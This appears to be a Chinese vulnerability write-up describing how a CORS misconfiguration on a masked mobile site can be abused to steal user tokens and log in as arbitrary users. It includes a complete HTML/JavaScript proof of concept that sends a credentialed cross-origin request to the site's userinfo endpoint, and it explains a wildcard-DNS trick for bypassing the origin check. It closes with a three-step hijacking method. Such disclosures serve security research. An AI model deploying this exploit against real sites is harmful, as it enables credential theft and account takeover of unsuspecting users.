cors劫持用户凭证任意登陆
2024-09-07 03:49:25
漏洞作者:rcoil
挖洞过程无意中看到一个数据包,响应包中包含有Access-Control-Allow-Origin这个字段,然后就随手尝试看看有没有CORS漏洞!结果如图
再尝试 发现如下图!
发现后面再加上域名是可以跨域获取资源的
如何利用?
利用方式就是泛解析,将http://m.****.com.rcoil.me解析到我们的IP上,由于比较穷买不起域名,就本地搭了个DNS设置了泛解析,如下图
只要是*.rcoil.me都会解析到我们的本地这
POC如下:
<!DOCTYPE html>
<html>
<body>
<center>
<h2>CORS POC Exploit</h2>
<h3>Extract SID</h3>
<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>
<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("demo").innerHTML = alert(this.responseText);
}
};
xhttp.open("GET", "http://m.***.com/activity/juejiapi/editor/userinfo", true);
xhttp.withCredentials = true;
xhttp.send();
}
</script>
</body>
</html>
而拿到的TOKEN又能干嘛呢,如图
总结:
第1步、观察CORS是否可以可控
第2步、如果可控的话寻找账户登陆的唯一凭证
第3步、然后在观察凭证是否可劫持
最新文章
- SQL Server解决孤立用户浅析
- jquery替换所有逗号
- Activity 生命周期
- ios 使用UINavagationController时,push,pop方法执行的一些方法
- Could not resolve placeholder
- javascript将json转字符串
- 使用css3实现文章新闻列表排行榜(数字)
- android 遇到的细节 FAQ
- Appium 命令行启动配置
- AngularJS html5Mode 使用 SVG Marker失效
- vue+webpack构建项目
- CRS-2800 CRS-4000
- MySQL Out-of-Band 攻击
- Centos查看端口占用和开启端口命令
- device not found解决方案
- Java知识回顾 (8) 集合
- [IDEA] IntelliJ IDEA 安装教程
- 只有在配置文件或 Page 指令中将 enableSessionState 设置为 true 时
- Gravitational Teleport简单使用
- 【Eclipse】启动时报错:No Java virtual machine (已解决)